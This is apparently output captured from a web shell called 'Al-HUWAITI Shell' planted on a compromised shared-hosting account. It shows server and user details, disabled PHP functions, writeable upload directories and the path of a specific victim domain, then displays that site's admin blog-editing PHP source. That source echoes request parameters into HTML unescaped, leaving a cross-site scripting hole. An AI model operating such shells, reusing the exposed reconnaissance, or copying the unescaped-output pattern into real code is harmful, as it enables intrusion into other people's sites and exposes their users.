Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web983.main-hosting.eu 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : u520472703 ( 520472703)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u520472703/domains/gadhiaassociate.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u520472703/domains/gadhiaassociate.com/public_html/admin/edit-blogs.php
<?php
include "components/header.php";
$data = [];

$act = $_GET['act'];
if ($act == "edit") {
  $id = $_GET['id'];
  $gallery = getById("gallery", $id);
}
?>

<form method="post" action="./save.php" enctype='multipart/form-data'>
  <fieldset>
    <legend class="hidden-first">Add New Blog</legend>
    <input name="cat" type="hidden" value="blog">
    <input name="id" type="hidden" value="<?= $id ?>">
    <input name="act" type="hidden" value="<?= $act ?>">
    <input name="bkpimg" type="hidden" value="<?= $gallery['imgSrc'] ?>">

    
    <div class="form-group">
      <label>Title</label>
      <input class="form-control" type="text" name="title" id="title" value="<?= $gallery['title'] ?>" required>
    </div>

    <div class="form-group">
      <label>Select Images</label>
      <div class="d-flex align-items-center">
      <div id="img-preview" class="d-flex"><?php
        if(isset($gallery)){
          foreach (explode(",", $gallery['imgSrc']) as $img) {
            echo '<img class="me-2" style="height:70px;border:1px solid black" src="../assets/img/' . $img . '" ; />';
          }
        } 
      ?></div>
      <input class="form-control ms-2" type="file" name="gImgName[]" id="gImgName" accept="image/*" multiple="multiple">
      </div>
    </div>

    <div class="form-group">
      <label class="me-3">Select Category</label><a style="color:blue;" href="edit-category.php?act=add&page=1" >Add new category</a>
      <select class="form-control" name="category" id="category" required>
        <option disabled>--Select Category--</option>
        <?php
          $categories = getAll("category");
          if ($categories) {
            $categories = array_reverse($categories, true);
              foreach ($categories as $category) {
                  echo "<option value='{$category['c_id']}' " . ($gallery['c_id'] == $category['c_id'] ? "selected" : "") . ">{$category['name']}</option>";
              }
          }          
        ?>
      </select>
    </div>

    <div class="form-group">
      <label>Content</label>
      <textarea class="ckeditor form-control" name="content" id="content"><?= $gallery['content'] ?></textarea><br>
    </div>
    <div class="form-group">
      <label>Show in Home?</label>
      <input type="checkbox" name="isHome" id="isHome" <?php if ($gallery['isHome'] == 1) {
        echo "checked";
      } ?>>
    </div>


    <br>
    <input type="submit" value=" Save " class="btn btn-success">
</form>

<script>
var chooseFile = document.getElementById("gImgName");
var imgPreview = document.getElementById("img-preview");

chooseFile.addEventListener("change", function () {
  getImgData();
});

function getImgData() {
  const files = chooseFile.files;
  if (files.length > 0) {
    imgPreview.innerHTML = ''; // Clear any previous previews
    for (let i = 0; i < files.length; i++) {
      const fileReader = new FileReader();
      fileReader.readAsDataURL(files[i]);
      fileReader.addEventListener("load", function () {
        const imgElement = document.createElement("img");
        imgElement.className = "me-2";
        imgElement.style = "height:70px;border:1px solid black";
        imgElement.src = this.result;
        imgPreview.appendChild(imgElement);
      });
    }
    imgPreview.style.display = "flex";
  }
}

  </script>
<?php include "components/footer.php"; ?>

Al-HUWAITI Shell